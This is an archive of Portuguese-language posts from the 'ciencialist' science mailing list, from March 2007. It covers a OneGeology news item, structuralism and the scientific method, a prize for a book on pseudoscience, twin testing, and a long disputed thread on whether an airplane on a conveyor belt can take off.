Mas Jackson disse que o OneGeology também pode ajudar a detectar problemas em potencial antes que eles apareçam, já que a geologia não respeita fronteiras nacionais.

'Se alguém está extraindo água de um lado de uma estrutura geológica que cruze uma fronteira política, enquanto no outro lado alguém a está poluindo, isso é um problema', disse ele. 'Saber que a estrutura cruza essa fronteira pode evitar isso.'

O projeto, que há um ano não era nem uma proposta no papel, deve começar a dar resultados até meados de 2008, passando a crescer de forma constante conforme mais países entreguem os dados que já possuem para preencher as lacunas.

Um dos problemas é que, embora os dados existam nos países, boa parte de seus formatos não é compatível. O projeto converterá a informação para a nova língua geológica universal, a GeoSciML.

'A necessidade é de tornar os dados disponíveis e harmoniosos entre si', disse Jackson. 'O maior obstáculo à informação não é seu custo, é saber que ela existe e onde ela está.'

O projeto terá início numa reunião na cidade litorânea de Brighton, na Inglaterra, entre 12 e 16 de março. Detalhes podem ser consultados em www.onegeology.org.

[As partes desta mensagem que não continham texto foram removidas]

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SUBJECT: Re: Sobre o Método Cientifico
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/03/2007 21:00


----- Original Message -----
From: "Chicao Valadares"

Sent: Friday, March 09, 2007 7:40 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

> Eu fui tentar entender os métodos usados nas ciencias sociais como
por
> exemplo, o estruturalismo mas não entedi nadinha. As explicações
que
> encontrei são muito viajadas.

Prezado Chicão

Não entendo nada do assunto, mas fui visitar algumas páginas da
Wikipédia a
respeito e concordo que as explicações são "muito viajadas".
Não obstante,
gosto de "viajar" e notei existir, nesse estruturalismo, uma pitada
muito
grande de iniologia, o estudo do complexo yin-yang da filosofia
oriental.
Talvez fosse interessante, antes de tentar compreender o estruturalismo,
ler
alguma coisa que escrevi sobre a iniologia, principalmente em sua
relação
com a linguagem (em especial o capítulo 2). Está em
http://ecientificocultural.com/ECC2/FilCien/ci_or00.htm
<http://ecientificocultural.com/ECC2/FilCien/ci_or00.htm> . Nesta
página há
também um link para uma interessante discussão que surgiu aqui na
Ciencialist sobre a "Filosofia dos Antônimos", assunto esse que, pelo
que
notei, embasa o estruturalismo.

No sentido que você procura colocar, "o estruturalismo como
metodologia
científica", talvez fosse interessante ler
http://www.fcsh.unl.pt/edtl/verbetes/E/estruturalismo.htm
<http://www.fcsh.unl.pt/edtl/verbetes/E/estruturalismo.htm> . Lembro,
não
obstante, que as ciências sociais não situam-se na minha praia,
logo não
posso dizer nada quanto à qualidade do artigo.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
<http://ecientificocultural.com/indice.htm>
Mas indiferentemente a tudo isso, o elétron não é uma carga
elétrica
coulombiana e a Terra se move. E a história se repetirá.




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Prêmio "Candela" concedido a Paulo Sen Lee
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>, curtasca@yahoogroups.com
DATE: 11/03/2007 02:02

http://www.haaan.com/candela/
Pr�mio Candela <http://www.haaan.com/candela/>

[image: Pr�mio Candela]

*"� melhor acender uma vela do que praguejar contra a escurid�o"* � Ad�gio

------------------------------

*PREMIADO*
Mar�o de 2007

O professor paranaense *Paulo Sen Lee* por seu livro "*Ci�ncias versus
Pseudoci�ncias*" (editora do Chain). Um dos poucos livros em portugu�s a
abordar de forma pr�tica a quest�o do pensamento cr�tico e das
pseudoci�ncias, a obra apresenta desde conceitos b�sicos da filosofia da
ci�ncia, passando por uma discuss�o das principais pseudoci�ncias e suas
fal�cias, para terminar com cap�tulos direcionados especialmente a
educadores. Lee prop�e que uma das maneiras de estimular o pensamento
racional-cient�fico entre os estudantes � promover o confronto entre a
ci�ncia e a pseudoci�ncia.

O livro pode ser adquirido pela livraria do Chain, telefone (41) 3264-3484,
Curitiba, ou com o pr�prio autor atrav�s do email pslee@uol.com.br, por R$
25,00 mais as despesas de envio.

------------------------------

*Sobre o pr�mio Candela*

Durante a febre da ca�a �s bruxas na Europa, em que a �nica forma de provar
sua inoc�ncia poderia ser afogando-se no fundo de um lago, poucas vozes
ousaram se levantar contra as atrocidades cometidas em nome do sobrenatural.

Foi especialmente neste contexto que o ingl�s *Thomas
Ady*<http://www.controverscial.com/Thomas%20Ady.htm>corajosamente
publicou em 1656 o tratado
"*Uma Vela no Escuro*"<http://historical.library.cornell.edu/cgi-bin/witch/docviewer?did=002&seq=3&frames=0&view=text>advertindo
que "
*o grande erro destes tempos � atribuir poder a bruxas, e pela tola
imagina��o dos c�rebros dos homens, promover a matan�a de inocentes*".
Escrito como conselho aos tribunais, seu tratado expunha as incoer�ncias e
injusti�as de um dos extremos hist�ricos mais conhecidos da irracionalidade.

Em alguns pa�ses da �frica, no Paquist�o e na �ndia, pessoas inocentes
continuam sendo assassinadas como bruxas, embora esta loucura em particular
tenha se extinguido em grande parte do mundo. Mas ela deu lugar a muitas
outras.

Estas novas loucuras n�o costumam ser t�o expl�citas em suas atrocidades,
por�m seu impacto sobre a sociedade continua sendo t�o nocivo quanto quando
Ady advertiu sobre o perigo das "*na��es perecerem pela falta de
conhecimento*".

O astr�nomo *Carl Sagan *referiu-se a Ady no subt�tulo de sua �ltima obra
publicada trezentos e quarenta anos depois, em 1996. "*O Mundo Assombrado
pelos Dem�nios � A ci�ncia vista como uma vela no escuro*" � um livro
escrito como conselho ao p�blico sobre as incoer�ncias e perigos das
pseudoci�ncias.

O pr�mio "*Candela*" do projeto *HAAAN*, � assim uma rever�ncia a Ady, a
Sagan, e a todos os premiados pelo seu trabalho em ajudar a iluminar o
mundo.

------------------------------


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Teste para gêmeos
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/03/2007 19:50

Qual o teste mais simples e confiável para determinar se dois gêmeos
são fraternos ou idênticos?

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/03/2007 22:08

Olá, Homero! Que tal colocarmos à mostra as diversas possibilidades de
interpretação do problema em vez de se agarrar em apenas uma? Acompanhe o
raciocínio que estou desenvolvendo com Ricardo.
[]s
JR
....................................................

From: "Oraculo" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 08, 2007 1:59 PM
Subject: [ciencialist] P/ Renato, decola sem problemas sim - O avião decola
SEM PROBLEMAS..:-)


Olá Jose Renato

Renato: "JR - Nesse caso estou analisando a primeira possibilidade. Quando
os motores
do avião são acionados o atrito normal existente é superado pelo empuxo e
ele se desloca sobre a esteira como faria em qualquer pista."

Não, a esteira é um "red hering", ele se desloca em relação ao CHÃO onde a
esteira está, e em relação ao AR onde está imerso. A esteira não tem NADA a
ver com isso, pois não é tracionando a esteira que ele se move.

Tente, por favor, imaginar que o avião está sobre a esteira, mas preso a
fios que impedem que "toque" a esteira com as rodas. Ligue a propulsão e o
avião SE MOVE para frente em relação ao CHÃO onde a esteira está. Lgue a
esteira e ela rola para tras, mas isso NADA influencia o avião, que se move
devido a PROPULSÃO.

Ele se move, n]ão girando as rodas, o que a esteira compensaria, mas pelo
EMPUXO que o move em relação ao CHÃO, e não a esteira.

Por favor, peça ao Takata que explique isso para você, se n~]ao acredita em
mim e no Ricardo (e no Leo, e em todos os outros que já tentaram explciar
isso). O Takata está dizendo algo MUITO diferente do que você está
entendendo, Renato. E você está errado nessa questão.

Ele se desloca em relação ao CHÃO onde a esteira se apoia, porque NÃO
precisa das rodas para tracionar.

Homero





----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 07, 2007 10:18 PM
Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
decola SEM PROBLEMAS..:-)


Olá, Ricardo! Acho que podemos ajustar a cada e-mail o entendimento do
problema, item a item. Faço comentários no texto abaixo, após JR -, de
modo
a facilitar o desenvolvimento das idéias:
.....................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 06, 2007 7:06 AM
Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
decola SEM PROBLEMAS..:-)

> José Renato,
>
> Com atrito nos "rolamentos", e com o motor desligado (importante), o
avião
> é
> progressivamente puxado para trás, se a esteira estiver continuamente
> rodando para trás. Começando com uma velocidade determinada, até chegar
à
> velocidade da esteira.
JR - A proposta de "testar" o que ocorreria quando o avião estiver com
motores desligados e a esteira fosse acionada foi só para ajustar que,
normalmente, há um atrito significativo entre a esteira e o avião através
do
que quer que seja: rodas, esquis, fuselagem...
>
> Veja bem, eu concordo que devemos considerar o atrito, é claro. Mas a
> descrição da frase acima não corresponde em nada ao problema proposto. O
> avião e a esteira começam parados, o avião liga seu motor, então, apenas
> se
> ele começar a andar para frente, a esteira começara a andar para trás. E
o
> atrito, de no máximo 2 vezes o usual, não será mais forte que o empuxo
do
> motor. Então o avião andará para frente.
JR - OK, o atrito existe e está sendo considerado! Então vem a etapa em
que
os motores são ligados e o avião começa a se deslocar para frente sobre a
esteira e, *simultaneamente*, a esteira começa a se deslocar para trás, na
mesma velocidade do avião. Agora, vem um detalhe importante: como está
sendo
medida a velocidade do avião? Vamos considerar que a velocidade do avião é
medida por um velocímetro nele acoplado, semelhante ao que as revistas de
automóveis usam para fazer os testes de carros: uma roda calibrada ou um
foco de luz sobre o piso da esteira onde o avião está se deslocando. Assim
que o avião aumenta a velocidade e atinge 100km/h - medida como se fosse
um
carro em teste - a esteira corre também na mesma velocidade de 100km/h,
para
trás. Em relação a esteira o avião está a 100km/h, mas em relação ao chão
onde a esteira está apoiada e ao ar que os cerca, está praticamente
parado.
>
> O problema só deixa 2 possibilidades, José Renato. Ou, o avião anda para
> frente, e a esteira para trás, na mesma velocidade. Ou, o avião e a
> esteira
> ficam parados. Para o avião e a esteira ficarem parados, o atrito
estaria
> acima de qualquer caso real razoável.
JR - Nesse caso estou analisando a primeira possibilidade. Quando os
motores
do avião são acionados o atrito normal existente é superado pelo empuxo e
ele se desloca sobre a esteira como faria em qualquer pista.
>
> Este assunto está se estendendo a ponto de confundir mais do que
> esclarecer,
> eu acho. Gosto da abordagem construtiva do Takata. Evita essas
recorrentes
> discussões dos mesmos pontos. Evita que andemos em círculos, como está
> acontecendo agora.
JR - Confirme se até aqui ficou claro para vc que o avião ficará
praticamente parado em relação ao chão onde está apoiada a esteira
rolante.
Aí então podemos ajustar outros entendimentos e continuar nossa discussão.
Takata vinha desenvolvendo a questão com clareza até quando - para atender
as questões, dúvidas e idéias apresentadas por Homero - discorreu sobre
suposições e detalhes periféricos sem importância significativa ao
esclarecimento do problema proposto.

[]s

José Renato
......................................................

al Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, March 05, 2007 11:36 PM
> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
> decola SEM PROBLEMAS..:-)
>
>
>> Olá, Homero! Como vc mesmo diz, não há atrito zero no rolamento das
>> rodas.
>> Assim sendo, a esteira transportará o avião na direção do movimento
dela.
>> Esse comentário já está no e-mail colado abaixo, do qual destaco o
>> seguinte
>> texto:
>>
>> [ Se as hélices ou turbinas estão paradas a esteira carrega o avião
para
>> trás. As rodas girarão um pouco apenas no caso da esteira partir com
uma
>> *aceleração* alta o suficiente para vencer o atrito dos rolamentos das
>> rodas. Depois que a esteira "infinita" atinge a velocidade limite
máxima
>> e
>> a
>> *aceleração* cai a zero, as rodas do avião param de rodar e ele passa a
>> ser
>> transportado "paradão", se deslocando para trás com a mesma velocidade
da
>> esteira. ]
>>
>> []s
>>
>> JR
>> ...................................
>> From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
>> Sent: Sunday, March 04, 2007 6:38 PM
>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
em
>> esteira
>>
>>
>>> Olá, Ricardo, dentro da questão proposta originalmente, faço
comentários
>>> após os seus:
>>> ...........................
>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>> Sent: Sunday, March 04, 2007 4:09 PM
>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>>> em
>>> esteira
>>>
>>>> Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É ao
>>>> que
>>>> somos levados a pensar a princípio. Mas como o sistema que empurra o
>>>> avião
>>>> para frente é independente da esteira (turbina, por exemplo), a
esteira
>>>> se
>>>> mover para trás não empurra o avião para trás de forma determinante,
>>>> mas
>>>> sim, faz as rodas girarem mais rápido.
>>> JR - É isso que o Takata está tentando há vários e-mails esclarecer a
vc
>>> e
>>> a
>>> Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas
a
>>> esteira carrega o avião para trás. As rodas girarão um pouco apenas no
>>> caso
>>> da esteira partir com uma *aceleração* alta o suficiente para vencer o
>>> atrito dos rolamentos das rodas. Depois que a esteira "infinita"
atinge
>>> a
>>> velocidade limite máxima e a *aceleração* cai a zero, as rodas do
avião
>>> param de rodar e ele passa a ser transportado "paradão", se deslocando
>>> para
>>> trás com a mesma velocidade da esteira.
>>> A seguir, vamos ver o que ocorre quando os motores do avião são
>>> acionados.
>>>
>>>> Então, o avião anda para a frente, em relação ao chão, a esteira roda
>>>> para
>>>> trás, e as rodas giram mais rápido.
>>> JR - Não, Ricardo, com os motores parados o avião não se desloca para
>>> frente
>>> a não ser uns poucos metros, caso a esteira parta com alta aceleração.
>>> Ele
>>> só passará a se deslocar para frente continuamente sobre a esteira
>>> quando
>>> os
>>> motores das hélices ou turbinas forem acionados e acelerados.
>>> Ao atingir a mesma velocidade da esteira em sentido contrário, as
rodas
>>> estarão girando sobre a esteira como um carro no asfalto, mas o avião
>>> estará
>>> praticamente parado em relação ao solo ou ao ar que o rodeia, exceto
em
>>> relação ao fluxo de ar deslocado pelas hélices ou turbinas.
>>> Adendo: no caso de avião com hélices pode ocorrer desse fluxo de ar
>>> acima
>>> mencionado ser suficientemente forte para elevar o avião da esteira, o
>>> que
>>> poderia ser considerado um vôo, semelhante ao que ocorreria se o avião
>>> fosse
>>> "amarrado pela cauda" e acelerasse os motores.
>>>>
>>>> []s
>>>> Ricardo
>>>
>>> []s
>>> José Renato
>>> ................................................
>>
>> ----- Original Message -----
>> From: "Oraculo" <oraculo@atibaia.com.br>
>> To: <ciencialist@yahoogrupos.com.br>
>> Sent: Monday, March 05, 2007 3:19 PM
>> Subject: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>> decola
>> SEM PROBLEMAS..:-)
>>
>>
>> Olá Jose Renato
>>
>> Renato: "Pois é, Ricardo, e a esteira leva o avião para trás na mesma
>> velocidade!
>> Isso significa que o mesmo está praticamente parado em relação ao solo
e
>> ao
>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>> hélices
>> ou turbinas. Difícil, não?
>> "
>>
>> NÃO LEVA!!! A esteira NÂO LEVA o avião apra trás, porque NÃO existe
>> tração
>> na esteira!!!! Sim, é difícil deixar a idéia de que rodas são a traçaõ
do
>> veículo, e isso está confundindo você. Renato, a esteira NÃO LEVA o
avião
>> apra tras, depois que ele liga as turbinas!
>>
>> Só levaria se as rodas estivessem, de alguma forma, PRESAS a esteira, e
>> elas
>> NÃO ESTÃO. Elas GIRAM justamente para EVITAR a trtação, são
dispositivos
>> de
>> eliminação de tração, de atrito. Pense em uma mala na esteira do
>> aeroporto.
>>
>> SE as rodas são fixas, não giram, ao rolar a esteira você terá de fazer
>> GRANDE força para manter a mala no lugar, enquanto a esteira rola
abaixo
>> dela. Isso porque o atrito das rodas fixas com a superfície da esteira
>> fornece tração para a esteira empurrar a mala.
>>
>> MAS, SE as rodas giram soltas, basta um PEQUENO esforço de sua mão, e a
>> mala
>> fica no luagar, com as rodas girando e a esteira rolando abaixo dela. O
>> esforço que tem de fazer é pequeno, APENAS o suficiente para vencer o
>> atrito
>> dos rolamentos. Quanto menos atrito nos rolamentos, menos esforço.
>>
>> Agora, o golpe final: SE os rolamentos da roda da mala tivessem ATRITO
>> ZERO,
>> o que é uma impossibilidade prática, mas uma -ossibilidade teórica, a
>> mala
>> NÃO SE MOVERIA MESMO QUE NÃO COLOCASSE A MÃO NELA!
>>
>> Consegue entender isso, Renato? Se os rolamentos das rodas, da mala ou
do
>> avião, tivessem atrito zero, a mala NÃO se movenria, não importa o que
>> acontece com a esteira. Ela poderia rolar para a direita, esquerda,
>> parar,
>> começar de novo, acelerar, desacelerar, e a mala NÃO SE MOVERIA.
>>
>> Assim, a esteira NÃO LEVA O AVIÃO PARA TRAS, pois a força que a esteira
>> pode
>> aplciar no avião é apenas a permitida pelo, mínimo, atrito dos
rolamentos
>> das rodas. Atrito que pode ser vencido por uma parcela INFIMA da força
>> das
>> turbinas.
>>
>> Homero
>>
>>
>>
>>
>> ----- Original Message -----
>> From: José Renato
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Sunday, March 04, 2007 12:10 AM
>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>> em
>> esteira
>>
>>
>> Ricardo:
>> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
>> hélices,
>> ao
>> empurrar o ar para trás, empurra o avião para frente, independente
deste
>> ter
>> ou não asas. O avião se move para frente ao ligar a turbina, não para
>> cima. ]
>> ..........................
>> Pois é, Ricardo, e a esteira leva o avião para trás na mesma
velocidade!
>> Isso significa que o mesmo está praticamente parado em relação ao solo
e
>> ao
>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>> hélices
>> ou turbinas. Difícil, não?
>> []s
>> JR
>> ..........................
>>
>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>> Sent: Tuesday, February 27, 2007 11:25 PM
>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>> em
>> esteira
>>
>> > From: "José Renato" <jrma@terra.com.br>
>> >> Homero:
>> >> [ Se ligar as hélices, ele se move, independente de uma esteira ou
>> das
>> >> rodas. ]
>> >> .............................................
>> >> Sim, se as hélices tiverem a condição de criar um fluxo de ar nas
>> asas
>> >> capaz
>> >> de sustentá-lo. Na proposta original parece-me que o avião possui
>> >> turbinas.
>> >> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
>> >
>> > José, imagino que vc tenha se enganado, neste caso. A turbina ou
>> hélices,
>> > ao
>> > empurrar o ar para trás, empurra o avião para frente, independente
>> deste
>> > ter
>> > ou não asas. O avião se move para frente ao ligar a turbina, não para
>> > cima.
>> >
>> > Um abraço,
>> >
>> > Ricardo





[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: Teste para gêmeos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/03/2007 22:21

--- Em ciencialist@yahoogrupos.com.br, César A. K. Grossmann
> Qual o teste mais simples e confiável para determinar se dois gêmeos
> são fraternos ou idênticos?

Depende. Uma simples olhada pode ser mais do q o suficiente para
distinguir os dois casos. Em todo caso, qual o nível de confiabilidade
aceitável?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/03/2007 22:32

Ricardo, que o avião vai ser empurrado para frente não há dúvidas. A questão
depende de como está medindo a velocidade do avião. Qual o seu ponto de
referência para a medida da velocidade. Uma primeira possibilidade é medir a
velocidade pelo rodar das rodas do avião sobre a esteira. Nesse caso, onde o
ponto de referência para a medição da velocidade está na esteira, o
deslocamento do avião é compensado ou anulado pelo da esteira em sentido
contrário. O avião ficará praticamente parado sobre a esteira e não vai ter
sustentação para alçar vôo. Uma segunda possibilidade é medir a velocidade
através GPS ou de sistema aerodinâmico tipo tubo de Pitot ou semelhante.
Nesse caso, em que o ponto de referência para a medição da velocidade é o
chão ou a velocidade do ar em movimento contrário ao deslocamento do avião,
o avião poderá adquirir velocidade suficiente para alçar vôo.
[]s
José Renato
......................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 07, 2007 10:36 PM
Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
decola SEM PROBLEMAS..:-)


> José Renato,
>
> Realmente você chegou ao que considero o ponto inicial de discordância,
> especificamente, entre nós dois.
>
> Para mim é inquestionável que o avião se deslocará para frente sim.
> Independente da velocidade do avião do enunciado se referir à velocidade
> em
> relação ao solo ou em relação à esteira.
>
> Se o atrito puder impedir a decolagem, o que não acredito, isso só
> ocorrerá
> com para velocidades maiores, quando o atrito será mais relevante.
>
>> JR - Confirme se até aqui ficou claro para vc que o avião ficará [...]
>
> Para mim, até aqui, ficou claro que discordamos neste ponto básico. Da
> mesma
> forma que vc tem a sensação que precisa me explicar as bases do problema,
> eu
> tb tenho a mesma certeza de que vc é que precisa entender melhor questões
> básicas da física envolvida.
>
> []s Ricardo
>
>
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 07, 2007 10:18 PM
> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
> decola SEM PROBLEMAS..:-)
>
>
>> Olá, Ricardo! Acho que podemos ajustar a cada e-mail o entendimento do
>> problema, item a item. Faço comentários no texto abaixo, após JR -, de
>> modo
>> a facilitar o desenvolvimento das idéias:
>> .....................................................
>>
>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>> Sent: Tuesday, March 06, 2007 7:06 AM
>> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>> decola SEM PROBLEMAS..:-)
>>
>>
>>> José Renato,
>>>
>>> Com atrito nos "rolamentos", e com o motor desligado (importante), o
>>> avião
>>> é
>>> progressivamente puxado para trás, se a esteira estiver continuamente
>>> rodando para trás. Começando com uma velocidade determinada, até chegar
>>> à
>>> velocidade da esteira.
>> JR - A proposta de "testar" o que ocorreria quando o avião estiver com
>> motores desligados e a esteira fosse acionada foi só para ajustar que,
>> normalmente, há um atrito significativo entre a esteira e o avião através
>> do
>> que quer que seja: rodas, esquis, fuselagem...
>>>
>>> Veja bem, eu concordo que devemos considerar o atrito, é claro. Mas a
>>> descrição da frase acima não corresponde em nada ao problema proposto. O
>>> avião e a esteira começam parados, o avião liga seu motor, então, apenas
>>> se
>>> ele começar a andar para frente, a esteira começara a andar para trás. E
>>> o
>>> atrito, de no máximo 2 vezes o usual, não será mais forte que o empuxo
>>> do
>>> motor. Então o avião andará para frente.
>> JR - OK, o atrito existe e está sendo considerado! Então vem a etapa em
>> que
>> os motores são ligados e o avião começa a se deslocar para frente sobre a
>> esteira e, *simultaneamente*, a esteira começa a se deslocar para trás,
>> na
>> mesma velocidade do avião. Agora, vem um detalhe importante: como está
>> sendo
>> medida a velocidade do avião? Vamos considerar que a velocidade do avião
>> é
>> medida por um velocímetro nele acoplado, semelhante ao que as revistas de
>> automóveis usam para fazer os testes de carros: uma roda calibrada ou um
>> foco de luz sobre o piso da esteira onde o avião está se deslocando.
>> Assim
>> que o avião aumenta a velocidade e atinge 100km/h - medida como se fosse
>> um
>> carro em teste - a esteira corre também na mesma velocidade de 100km/h,
>> para
>> trás. Em relação a esteira o avião está a 100km/h, mas em relação ao chão
>> onde a esteira está apoiada e ao ar que os cerca, está praticamente
>> parado.
>>>
>>> O problema só deixa 2 possibilidades, José Renato. Ou, o avião anda para
>>> frente, e a esteira para trás, na mesma velocidade. Ou, o avião e a
>>> esteira
>>> ficam parados. Para o avião e a esteira ficarem parados, o atrito
>>> estaria
>>> acima de qualquer caso real razoável.
>> JR - Nesse caso estou analisando a primeira possibilidade. Quando os
>> motores
>> do avião são acionados o atrito normal existente é superado pelo empuxo e
>> ele se desloca sobre a esteira como faria em qualquer pista.
>>>
>>> Este assunto está se estendendo a ponto de confundir mais do que
>>> esclarecer,
>>> eu acho. Gosto da abordagem construtiva do Takata. Evita essas
>>> recorrentes
>>> discussões dos mesmos pontos. Evita que andemos em círculos, como está
>>> acontecendo agora.
>> JR - Confirme se até aqui ficou claro para vc que o avião ficará
>> praticamente parado em relação ao chão onde está apoiada a esteira
>> rolante.
>> Aí então podemos ajustar outros entendimentos e continuar nossa
>> discussão.
>> Takata vinha desenvolvendo a questão com clareza até quando - para
>> atender
>> as questões, dúvidas e idéias apresentadas por Homero - discorreu sobre
>> suposições e detalhes periféricos sem importância significativa ao
>> esclarecimento do problema proposto.
>>
>> []s
>>
>> José Renato
>> ......................................................
>>
>> al Message -----
>>> From: "José Renato" <jrma@terra.com.br>
>>> To: <ciencialist@yahoogrupos.com.br>
>>> Sent: Monday, March 05, 2007 11:36 PM
>>> Subject: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>>> decola SEM PROBLEMAS..:-)
>>>
>>>
>>>> Olá, Homero! Como vc mesmo diz, não há atrito zero no rolamento das
>>>> rodas.
>>>> Assim sendo, a esteira transportará o avião na direção do movimento
>>>> dela.
>>>> Esse comentário já está no e-mail colado abaixo, do qual destaco o
>>>> seguinte
>>>> texto:
>>>>
>>>> [ Se as hélices ou turbinas estão paradas a esteira carrega o avião
>>>> para
>>>> trás. As rodas girarão um pouco apenas no caso da esteira partir com
>>>> uma
>>>> *aceleração* alta o suficiente para vencer o atrito dos rolamentos das
>>>> rodas. Depois que a esteira "infinita" atinge a velocidade limite
>>>> máxima
>>>> e
>>>> a
>>>> *aceleração* cai a zero, as rodas do avião param de rodar e ele passa a
>>>> ser
>>>> transportado "paradão", se deslocando para trás com a mesma velocidade
>>>> da
>>>> esteira. ]
>>>>
>>>> []s
>>>>
>>>> JR
>>>> ...................................
>>>> From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
>>>> Sent: Sunday, March 04, 2007 6:38 PM
>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>>>> em
>>>> esteira
>>>>
>>>>
>>>>> Olá, Ricardo, dentro da questão proposta originalmente, faço
>>>>> comentários
>>>>> após os seus:
>>>>> ...........................
>>>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>>>> Sent: Sunday, March 04, 2007 4:09 PM
>>>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>>>>> em
>>>>> esteira
>>>>>
>>>>>> Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É ao
>>>>>> que
>>>>>> somos levados a pensar a princípio. Mas como o sistema que empurra o
>>>>>> avião
>>>>>> para frente é independente da esteira (turbina, por exemplo), a
>>>>>> esteira
>>>>>> se
>>>>>> mover para trás não empurra o avião para trás de forma determinante,
>>>>>> mas
>>>>>> sim, faz as rodas girarem mais rápido.
>>>>> JR - É isso que o Takata está tentando há vários e-mails esclarecer a
>>>>> vc
>>>>> e
>>>>> a
>>>>> Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas
>>>>> a
>>>>> esteira carrega o avião para trás. As rodas girarão um pouco apenas no
>>>>> caso
>>>>> da esteira partir com uma *aceleração* alta o suficiente para vencer o
>>>>> atrito dos rolamentos das rodas. Depois que a esteira "infinita"
>>>>> atinge
>>>>> a
>>>>> velocidade limite máxima e a *aceleração* cai a zero, as rodas do
>>>>> avião
>>>>> param de rodar e ele passa a ser transportado "paradão", se deslocando
>>>>> para
>>>>> trás com a mesma velocidade da esteira.
>>>>> A seguir, vamos ver o que ocorre quando os motores do avião são
>>>>> acionados.
>>>>>
>>>>>> Então, o avião anda para a frente, em relação ao chão, a esteira roda
>>>>>> para
>>>>>> trás, e as rodas giram mais rápido.
>>>>> JR - Não, Ricardo, com os motores parados o avião não se desloca para
>>>>> frente
>>>>> a não ser uns poucos metros, caso a esteira parta com alta aceleração.
>>>>> Ele
>>>>> só passará a se deslocar para frente continuamente sobre a esteira
>>>>> quando
>>>>> os
>>>>> motores das hélices ou turbinas forem acionados e acelerados.
>>>>> Ao atingir a mesma velocidade da esteira em sentido contrário, as
>>>>> rodas
>>>>> estarão girando sobre a esteira como um carro no asfalto, mas o avião
>>>>> estará
>>>>> praticamente parado em relação ao solo ou ao ar que o rodeia, exceto
>>>>> em
>>>>> relação ao fluxo de ar deslocado pelas hélices ou turbinas.
>>>>> Adendo: no caso de avião com hélices pode ocorrer desse fluxo de ar
>>>>> acima
>>>>> mencionado ser suficientemente forte para elevar o avião da esteira, o
>>>>> que
>>>>> poderia ser considerado um vôo, semelhante ao que ocorreria se o avião
>>>>> fosse
>>>>> "amarrado pela cauda" e acelerasse os motores.
>>>>>>
>>>>>> []s
>>>>>> Ricardo
>>>>>
>>>>> []s
>>>>> José Renato
>>>>> ................................................
>>>>
>>>> ----- Original Message -----
>>>> From: "Oraculo" <oraculo@atibaia.com.br>
>>>> To: <ciencialist@yahoogrupos.com.br>
>>>> Sent: Monday, March 05, 2007 3:19 PM
>>>> Subject: [ciencialist] P/ Renato, decola sem problemas sim - O avião
>>>> decola
>>>> SEM PROBLEMAS..:-)
>>>>
>>>>
>>>> Olá Jose Renato
>>>>
>>>> Renato: "Pois é, Ricardo, e a esteira leva o avião para trás na mesma
>>>> velocidade!
>>>> Isso significa que o mesmo está praticamente parado em relação ao solo
>>>> e
>>>> ao
>>>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>>>> hélices
>>>> ou turbinas. Difícil, não?
>>>> "
>>>>
